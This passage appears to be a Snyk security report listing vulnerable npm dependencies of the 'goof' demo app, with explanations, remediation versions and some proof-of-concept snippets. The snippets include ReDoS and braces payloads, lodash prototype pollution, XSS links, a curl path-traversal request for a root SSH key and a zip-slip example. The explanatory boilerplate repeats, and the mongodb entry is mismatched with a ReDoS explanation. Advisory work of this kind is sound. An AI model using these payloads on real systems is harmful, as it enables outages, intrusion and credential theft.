The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ansi-regex
to version 3.0.1, 4.1.1, 5.0.1, 6.0.1 or higher.
References
high severity
- Vulnerable module: braces
- Introduced through: tap@11.1.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › micromatch@3.1.10 › braces@2.3.2Remediation: Upgrade to tap@18.0.0.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › test-exclude@4.2.3 › micromatch@2.3.11 › braces@1.8.5Remediation: Upgrade to tap@12.0.2.
Overview
braces is a Bash-like brace expansion, implemented in JavaScript.
Affected versions of this package are vulnerable to Uncontrolled resource consumption due improper limitation of the number of characters it can handle, through the parse
function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.
PoC
const { braces } = require('micromatch');
console.log("Executing payloads...");
const maxRepeats = 10;
for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
const payload = '{'.repeat(repeats*90000);
console.log(`Testing with ${repeats} repeats...`);
const startTime = Date.now();
braces(payload);
const endTime = Date.now();
const executionTime = endTime - startTime;
console.log(`Regex executed in ${executionTime / 1000}s.\n`);
}
Remediation
Upgrade braces
to version 3.0.3 or higher.
References
high severity
- Vulnerable module: express-fileupload
- Introduced through: express-fileupload@0.0.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express-fileupload@0.0.5Remediation: Upgrade to express-fileupload@1.1.6.
Overview
express-fileupload is a file upload middleware for express that wraps around busboy.
Affected versions of this package are vulnerable to Denial of Service (DoS). The package does not limit file name length.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade express-fileupload
to version 1.1.6-alpha.6 or higher.
References
high severity
- Vulnerable module: express-fileupload
- Introduced through: express-fileupload@0.0.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express-fileupload@0.0.5Remediation: Upgrade to express-fileupload@1.1.10.
Overview
express-fileupload is a file upload middleware for express that wraps around busboy.
Affected versions of this package are vulnerable to Prototype Pollution. If the parseNested
option is enabled, sending a corrupt HTTP request can lead to denial of service or arbitrary code execution.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade express-fileupload
to version 1.1.10 or higher.
References
high severity
- Vulnerable module: fresh
- Introduced through: express@4.12.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › fresh@0.2.4Remediation: Upgrade to express@4.15.5.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › send@0.12.3 › fresh@0.2.4Remediation: Upgrade to express@4.15.5.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › serve-static@1.9.3 › send@0.12.3 › fresh@0.2.4Remediation: Upgrade to express@4.15.5.
Overview
fresh
is HTTP response freshness testing.
Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS) attacks. A Regular Expression (/ *, */
) was used for parsing HTTP headers and take about 2 seconds matching time for 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade fresh
to version 0.5.2 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: lodash@4.17.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › lodash@4.17.4Remediation: Upgrade to lodash@4.17.17.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution through the zipObjectDeep
function due to improper user input sanitization in the baseZipObject
function.
PoC
lodash.zipobjectdeep:
const zipObjectDeep = require("lodash.zipobjectdeep");
let emptyObject = {};
console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined
zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function
console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
lodash:
const test = require("lodash");
let emptyObject = {};
console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined
test.zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function
console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.17 or higher.
References
high severity
- Vulnerable module: marked
- Introduced through: marked@0.3.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › marked@0.3.5Remediation: Upgrade to marked@0.3.7.
Overview
marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS). Data URIs enable embedding small files in line in HTML documents, provided in the URL itself. Attackers can craft malicious web pages containing either HTML or script code that utilizes the data URI scheme, allowing them to bypass access controls or steal sensitive information.
An example of data URI used to deliver javascript code. The data holds <script>alert('XSS')</script>
tag in base64 encoded format.
[xss link](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade marked
to version 0.3.7 or higher.
References
high severity
- Vulnerable module: marked
- Introduced through: marked@0.3.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › marked@0.3.5Remediation: Upgrade to marked@0.3.9.
Overview
marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS). Browsers support both lowercase and uppercase x in hexadecimal form of HTML character entity, but marked unescaped only lowercase.
This may allow an attacker to create a link with javascript code.
For example:
var marked = require('marked');
marked.setOptions({
renderer: new marked.Renderer(),
sanitize: true
});
text = `
lower[click me](javascript:...)lower
upper[click me](javascript:...)upper
`;
console.log(marked(text));
will render the following:
<p>lowerlower
upper<a href="javascript:...">click me</a>upper</p>
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade marked
to version 0.3.9 or higher.
References
high severity
- Vulnerable module: marked
- Introduced through: marked@0.3.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › marked@0.3.5Remediation: Upgrade to marked@0.3.9.
Overview
marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when parsing the input markdown content (1,000 characters costs around 6 seconds matching time).
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade marked
to version 0.3.9 or higher.
References
high severity
- Vulnerable module: marked
- Introduced through: marked@0.3.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › marked@0.3.5Remediation: Upgrade to marked@0.3.18.
Overview
marked is a low-level compiler for parsing markdown without caching or blocking for long periods of time.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can cause an impact of about 10 seconds matching time for data 150 characters long.
Disclosure Timeline
- Feb 21th, 2018 - Initial Disclosure to package owner
- Feb 21th, 2018 - Initial Response from package owner
- Feb 26th, 2018 - Fix issued
- Feb 27th, 2018 - Vulnerability published
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade marked
to version 0.3.18 or higher.
References
high severity
- Vulnerable module: micromatch
- Introduced through: tap@11.1.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › micromatch@3.1.10Remediation: Upgrade to tap@18.0.0.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › test-exclude@4.2.3 › micromatch@2.3.11Remediation: Upgrade to tap@12.0.2.
Overview
Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity due to the use of unsafe pattern configurations that allow greedy matching through the micromatch.braces()
function. An attacker can cause the application to hang or slow down by passing a malicious payload that triggers extensive backtracking in regular expression processing.
Remediation
Upgrade micromatch
to version 4.0.8 or higher.
References
high severity
- Vulnerable module: moment
- Introduced through: moment@2.15.1
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › moment@2.15.1Remediation: Upgrade to moment@2.29.2.
Overview
moment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates.
Affected versions of this package are vulnerable to Directory Traversal when a user provides a locale string which is directly used to switch moment locale.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e
is the URL encoded version of .
(dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip
.
One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade moment
to version 2.29.2 or higher.
References
high severity
- Vulnerable module: mongodb
- Introduced through: mongoose@4.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › mongoose@4.2.4 › mongodb@2.0.46Remediation: Upgrade to mongoose@5.4.10.
Overview
mongodb is an official MongoDB driver for Node.js.
Affected versions of this package are vulnerable to Denial of Service (DoS). The package fails to properly catch an exception when a collection name is invalid and the DB does not exist, crashing the application.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
